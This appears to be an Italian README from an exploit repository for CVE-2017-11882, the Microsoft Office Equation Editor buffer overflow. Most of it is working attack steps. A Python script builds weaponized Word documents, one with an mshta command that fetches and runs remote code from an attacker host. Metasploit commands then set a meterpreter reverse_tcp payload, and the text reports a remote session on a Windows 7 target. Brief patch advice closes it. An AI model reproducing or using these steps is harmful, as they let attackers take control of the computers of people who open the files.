littlebin404/cve-2017-11882CVE-2017-11882 (colpisce tutte le versioni di Office dal 2003 al 2016)
Dal punto di vista dell'efficacia dello sfruttamento, può compromettere tutte le versioni di Office dal 2003 al 2016 e la creazione dell'intero ambiente di attacco è molto semplice. Questa vulnerabilità è causata dall'[Editor equazioni] incluso nel software Office. Poiché il processo dell'editor non convalida la lunghezza dei nomi, si verifica un overflow del buffer; l'attaccante, costruendo caratteri speciali, può eseguire codice arbitrario. Ad esempio, se un hacker sfrutta questa vulnerabilità per creare un file Office con una backdoor shell, quando un utente normale apre il file Office, il computer può essere controllato direttamente dall'hacker.
office 2003
office 2007
office 2010
office 2013
office 2016
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
Facendo clic sul file "test.doc" generato, si apre correttamente la Calcolatrice.
python Command_CVE-2017-11882.py -c "mshta http://192.168.43.165:8080/11882" -o 11882-3.doc
Il file Word 11882-3.doc viene generato correttamente.
Posizionare il file cve_2017_11882.rb nella directory /usr/share/metasploit-framework/modules/exploits/windows/smb:
msf > search CVE-2017-11882
msf > use exploit/windows/smb/CVE-2017-11882
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
msf exploit(CVE-2017-11882) > set lhost 192.168.43.165
msf exploit(CVE-2017-11882) > set uripath 11882
msf exploit(CVE-2017-11882) > exploit
Avvio della modalità di ascolto:
Facendo clic sul file 11882-3.doc sulla macchina target Windows 7, la sessione viene ottenuta con successo!
① Aggiornamento online; abilitare Windows Update. Per la maggior parte delle persone questo è sufficiente.
② Applicare la patch; indirizzo della patch Microsoft per questa vulnerabilità: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882